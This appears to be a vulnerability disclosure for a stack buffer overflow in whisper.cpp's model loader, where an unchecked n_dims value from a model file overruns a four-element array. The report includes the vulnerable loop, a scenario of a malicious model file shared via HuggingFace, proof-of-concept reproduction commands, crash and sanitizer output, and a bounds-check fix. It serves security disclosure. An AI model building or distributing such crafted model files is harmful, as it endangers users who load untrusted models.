Views
No views yet
whisper_model_load() at src/whisper.cpp:1884-1886.n_dims field is read directly from the model file with zero bounds checking. It controls a loop that writes into int32_t ne[4] — a 4-element stack-allocated array. When n_dims > 4, the loop writes past the array boundary, corrupting adjacent stack variables and the stack canary.1int32_t nelements = 1;
2int32_t ne[4] = { 1, 1, 1, 1 };
3for (int i = 0; i < n_dims; ++i) {
4 read_safe(loader, ne[i]); // OOB write when n_dims > 4
5 nelements *= ne[i];
6}src/whisper.cpp:5010-5015 (same pattern in a different weight-loading path)..bin GGML model file uploaded to HuggingFace Hub → victim downloads via standard workflow → loads with whisper.cpp → stack buffer overflow.python3 generate_poc.py poc_stack_overflow.bin1git clone https://github.com/ggerganov/whisper.cpp
2cd whisper.cpp
3cmake -B build -DWHISPER_SANITIZE_ADDRESS=ON -DCMAKE_BUILD_TYPE=Debug .
4cmake --build build --target whisper-cli./build/bin/whisper-cli -m poc_stack_overflow.bin -f /dev/nullwhisper_model_load: tensor 'encoder.positional_embedding' has wrong size in model file
whisper_model_load: shape: [1094795585, 1094795585, 1094795585], expected: [1280, 1500, 1]
*** stack smashing detected ***: terminated
Aborted (core dumped)1094795585 = 0x41414141 — our overflow pattern visible in corrupted stack variables.==PID==ERROR: AddressSanitizer: stack-overflow on address 0x...
#0 in whisper_model_load src/whisper.cpp:1886
SUMMARY: AddressSanitizer: stack-overflow whisper.cpp:1886 in whisper_model_load1if (n_dims < 1 || n_dims > 4) {
2 WHISPER_LOG_ERROR("%s: invalid n_dims %d\n", __func__, n_dims);
3 return false;
4}